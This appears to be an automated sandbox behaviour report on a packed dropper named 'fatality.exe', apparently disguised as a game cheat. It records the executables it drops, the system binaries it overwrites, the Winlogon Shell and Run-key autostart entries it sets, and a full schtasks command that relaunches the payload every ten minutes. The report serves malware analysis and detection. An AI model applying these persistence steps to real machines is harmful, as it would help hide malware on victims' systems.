Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntdsapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: kernel.appcore.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: mscoree.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: kernel.appcore.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: version.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: uxtheme.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: windows.storage.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: wldp.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: profapi.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: cryptsp.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: rsaenh.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: cryptbase.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: sspicli.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: mscoree.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: kernel.appcore.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: version.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: uxtheme.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: windows.storage.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: wldp.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: profapi.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: cryptsp.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: rsaenh.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: cryptbase.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: sspicli.dll
Source: C:\ProgramData\dbg\containerReview.exe	Section loaded: mscoree.dll
Source: C:\ProgramData\dbg\containerReview.exe	Section loaded: apphelp.dll
Source: C:\ProgramData\dbg\containerReview.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\dbg\containerReview.exe	Section loaded: version.dll
Source: C:\ProgramData\dbg\containerReview.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\ProgramData\dbg\containerReview.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\dbg\containerReview.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\dbg\containerReview.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\dbg\containerReview.exe	Section loaded: windows.storage.dll
Source: C:\ProgramData\dbg\containerReview.exe	Section loaded: wldp.dll
Source: C:\ProgramData\dbg\containerReview.exe	Section loaded: profapi.dll
Source: C:\ProgramData\dbg\containerReview.exe	Section loaded: cryptsp.dll
Source: C:\ProgramData\dbg\containerReview.exe	Section loaded: rsaenh.dll
Source: C:\ProgramData\dbg\containerReview.exe	Section loaded: cryptbase.dll
Source: C:\ProgramData\dbg\containerReview.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntdsapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Section loaded: mscoree.dll
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Section loaded: apphelp.dll
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Section loaded: version.dll
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Section loaded: uxtheme.dll
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Section loaded: windows.storage.dll
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Section loaded: wldp.dll
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Section loaded: profapi.dll
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Section loaded: cryptsp.dll
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Section loaded: rsaenh.dll
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Section loaded: cryptbase.dll
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Section loaded: sspicli.dll
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: mscoree.dll
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: kernel.appcore.dll
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: version.dll
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: uxtheme.dll
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: windows.storage.dll
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: wldp.dll
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: profapi.dll
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: cryptsp.dll
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: rsaenh.dll
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: cryptbase.dll
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Section loaded: sspicli.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: mscoree.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: kernel.appcore.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: version.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: uxtheme.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: windows.storage.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: wldp.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: profapi.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: cryptsp.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: rsaenh.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: cryptbase.dll
Source: C:\blockcomSession\containerReview.exe	Section loaded: sspicli.dll

Source: C:\Users\user\Desktop\fatality.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\blockcomSession\containerReview.exe	Directory created: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Directory created: C:\Program Files\Windows Security\BrowserCore\en-US\d81cfa058c78b8	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Directory created: C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Directory created: C:\Program Files\7-Zip\Lang\d81cfa058c78b8	Jump to behavior

Source: fatality.exe

Static file information: File size 3319076 > 1048576

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: fatality.exe, fatality.exe, 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\qvvd4xnd\qvvd4xnd.pdb source: containerReview.exe, 00000005.00000002.2220599721.0000000002E4D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\glp1j4aa\glp1j4aa.pdb source: containerReview.exe, 00000005.00000002.2220599721.0000000002E4D000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\fatality.exe

Unpacked PE file: 0.2.fatality.exe.de0000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;Unknown_Section5:EW;.rsrc:EW;Unknown_Section7:EW;cheat:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:W;Unknown_Section4:R;Unknown_Section5:R;.rsrc:EW;Unknown_Section7:EW;cheat:EW;

Source: C:\blockcomSession\containerReview.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qvvd4xnd\qvvd4xnd.cmdline"
Source: C:\blockcomSession\containerReview.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\glp1j4aa\glp1j4aa.cmdline"
Source: C:\blockcomSession\containerReview.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qvvd4xnd\qvvd4xnd.cmdline"	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\glp1j4aa\glp1j4aa.cmdline"	Jump to behavior

Source: C:\Users\user\Desktop\fatality.exe

File created: C:\blockcomSession\__tmp_rar_sfx_access_check_5458578

Jump to behavior

Source: fatality.exe	Static PE information: section name:
Source: fatality.exe	Static PE information: section name:
Source: fatality.exe	Static PE information: section name:
Source: fatality.exe	Static PE information: section name:
Source: fatality.exe	Static PE information: section name:
Source: fatality.exe	Static PE information: section name:
Source: fatality.exe	Static PE information: section name:
Source: fatality.exe	Static PE information: section name: cheat

Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00E181CD push esi; ret	0_2_00E181D6
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00DFF640 push ecx; ret	0_2_00DFF653
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00DFEB78 push eax; ret	0_2_00DFEB96
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00E77104 push ecx; mov dword ptr [esp], edx	0_2_00E77109
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00E6B28C push 00E6B6D8h; ret	0_2_00E6B6D0
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00E633EA push 00E63418h; ret	0_2_00E63410
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00E743A0 push 00E74400h; ret	0_2_00E743F8
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00E7732C push ecx; mov dword ptr [esp], edx	0_2_00E77331
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00E634F8 push 00E6352Ch; ret	0_2_00E63524
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00E7748C push ecx; mov dword ptr [esp], edx	0_2_00E77491
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00E63494 push 00E634C0h; ret	0_2_00E634B8
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00E77448 push ecx; mov dword ptr [esp], edx	0_2_00E7744D
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00E74456 push 00E745A4h; ret	0_2_00E7459C
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00E75454 push 00E754A1h; ret	0_2_00E75499
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00E6345C push 00E63488h; ret	0_2_00E63480
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00E63424 push 00E63450h; ret	0_2_00E63448
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00E615F0 push 00E61641h; ret	0_2_00E61639
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00E7954C push ecx; mov dword ptr [esp], edx	0_2_00E7954D
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00E73536 push 00E735B5h; ret	0_2_00E735AD
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00E6B6DA push 00E6B74Bh; ret	0_2_00E6B743
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00E726A4 push 00E7274Ch; ret	0_2_00E72744
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00E74684 push ecx; mov dword ptr [esp], ecx	0_2_00E74687
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00E7262C push 00E726A2h; ret	0_2_00E7269A
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00E7274E push 00E7279Ch; ret	0_2_00E72794
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00E748F4 push ecx; mov dword ptr [esp], ecx	0_2_00E748F6
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00E618AA push 00E618D8h; ret	0_2_00E618D0
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00E6B85E push 00E6B88Ch; ret	0_2_00E6B884
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00E73804 push 00E73830h; ret	0_2_00E73828
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00E61968 push 00E61994h; ret	0_2_00E6198C
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00E62A48 push ecx; mov dword ptr [esp], eax	0_2_00E62A49
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00E62CF2 push 00E62D20h; ret	0_2_00E62D18

Source: fatality.exe	Static PE information: section name: entropy: 7.996600566459323
Source: fatality.exe	Static PE information: section name: entropy: 7.979119292488003
Source: fatality.exe	Static PE information: section name: entropy: 7.461008587981874
Source: fatality.exe	Static PE information: section name: entropy: 7.941503255275258
Source: fatality.exe	Static PE information: section name: entropy: 7.853249739854464
Source: fatality.exe	Static PE information: section name: .rsrc entropy: 7.51495699813517
Source: fatality.exe	Static PE information: section name: cheat entropy: 7.982180837051556
Source: containerReview.exe.0.dr	Static PE information: section name: .text entropy: 7.568689515066778
Source: mQBLhXIPAJ.exe.5.dr	Static PE information: section name: .text entropy: 7.568689515066778
Source: mQBLhXIPAJ.exe0.5.dr	Static PE information: section name: .text entropy: 7.568689515066778
Source: containerReview.exe.5.dr	Static PE information: section name: .text entropy: 7.568689515066778
Source: mQBLhXIPAJ.exe1.5.dr	Static PE information: section name: .text entropy: 7.568689515066778
Source: mQBLhXIPAJ.exe2.5.dr	Static PE information: section name: .text entropy: 7.568689515066778

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	System file written: C:\Windows\System32\SecurityHealthSystray.exe			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\blockcomSession\mQBLhXIPAJ.exe	File created: C:\Users\user\Desktop\jPEOVQoM.log	Jump to dropped file
Source: C:\blockcomSession\containerReview.exe	File created: C:\ProgramData\dbg\containerReview.exe	Jump to dropped file
Source: C:\blockcomSession\containerReview.exe	File created: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Jump to dropped file
Source: C:\blockcomSession\mQBLhXIPAJ.exe	File created: C:\Users\user\Desktop\VquIdqjl.log	Jump to dropped file
Source: C:\blockcomSession\containerReview.exe	File created: C:\Users\user\Desktop\RLUzQxgL.log	Jump to dropped file
Source: C:\blockcomSession\mQBLhXIPAJ.exe	File created: C:\Users\user\Desktop\nCWNxMEA.log	Jump to dropped file
Source: C:\Users\user\Desktop\fatality.exe	File created: C:\blockcomSession\containerReview.exe	Jump to dropped file
Source: C:\blockcomSession\containerReview.exe	File created: C:\Users\user\Desktop\PRRjZxCV.log	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Jump to dropped file
Source: C:\blockcomSession\containerReview.exe	File created: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Templates\mQBLhXIPAJ.exe	Jump to dropped file
Source: C:\blockcomSession\containerReview.exe	File created: C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe	Jump to dropped file
Source: C:\blockcomSession\containerReview.exe	File created: C:\Users\user\Desktop\GgZbKUMi.log	Jump to dropped file
Source: C:\blockcomSession\containerReview.exe	File created: C:\Users\user\Desktop\RUDRugHQ.log	Jump to dropped file
Source: C:\blockcomSession\containerReview.exe	File created: C:\blockcomSession\mQBLhXIPAJ.exe	Jump to dropped file
Source: C:\blockcomSession\containerReview.exe	File created: C:\Users\user\Desktop\LTranRbW.log	Jump to dropped file
Source: C:\blockcomSession\mQBLhXIPAJ.exe	File created: C:\Users\user\Desktop\HTJtRROP.log	Jump to dropped file
Source: C:\blockcomSession\mQBLhXIPAJ.exe	File created: C:\Users\user\Desktop\ucFnGTXv.log	Jump to dropped file
Source: C:\blockcomSession\mQBLhXIPAJ.exe	File created: C:\Users\user\Desktop\eTDxNkzS.log	Jump to dropped file
Source: C:\blockcomSession\containerReview.exe	File created: C:\Users\user\Desktop\yCQlabwB.log	Jump to dropped file

Source: C:\blockcomSession\containerReview.exe

File created: C:\ProgramData\dbg\containerReview.exe

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

File created: C:\Windows\System32\SecurityHealthSystray.exe

Jump to dropped file

Source: C:\blockcomSession\containerReview.exe	File created: C:\Users\user\Desktop\RLUzQxgL.log	Jump to dropped file
Source: C:\blockcomSession\containerReview.exe	File created: C:\Users\user\Desktop\PRRjZxCV.log	Jump to dropped file
Source: C:\blockcomSession\containerReview.exe	File created: C:\Users\user\Desktop\RUDRugHQ.log	Jump to dropped file
Source: C:\blockcomSession\containerReview.exe	File created: C:\Users\user\Desktop\GgZbKUMi.log	Jump to dropped file
Source: C:\blockcomSession\containerReview.exe	File created: C:\Users\user\Desktop\yCQlabwB.log	Jump to dropped file
Source: C:\blockcomSession\containerReview.exe	File created: C:\Users\user\Desktop\LTranRbW.log	Jump to dropped file
Source: C:\blockcomSession\mQBLhXIPAJ.exe	File created: C:\Users\user\Desktop\ucFnGTXv.log	Jump to dropped file
Source: C:\blockcomSession\mQBLhXIPAJ.exe	File created: C:\Users\user\Desktop\jPEOVQoM.log	Jump to dropped file
Source: C:\blockcomSession\mQBLhXIPAJ.exe	File created: C:\Users\user\Desktop\HTJtRROP.log	Jump to dropped file
Source: C:\blockcomSession\mQBLhXIPAJ.exe	File created: C:\Users\user\Desktop\nCWNxMEA.log	Jump to dropped file
Source: C:\blockcomSession\mQBLhXIPAJ.exe	File created: C:\Users\user\Desktop\eTDxNkzS.log	Jump to dropped file
Source: C:\blockcomSession\mQBLhXIPAJ.exe	File created: C:\Users\user\Desktop\VquIdqjl.log	Jump to dropped file

Boot Survival

Creates an undocumented autostart registry key

Source: C:\blockcomSession\containerReview.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior

Creates multiple autostart registry keys

Source: C:\blockcomSession\containerReview.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run containerReview			Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run mQBLhXIPAJ			Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\blockcomSession\containerReview.exe

Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "mQBLhXIPAJm" /sc MINUTE /mo 10 /tr "'C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe'" /f

Source: C:\blockcomSession\containerReview.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run mQBLhXIPAJ	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run mQBLhXIPAJ	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run mQBLhXIPAJ	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run mQBLhXIPAJ	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run containerReview	Jump to behavior
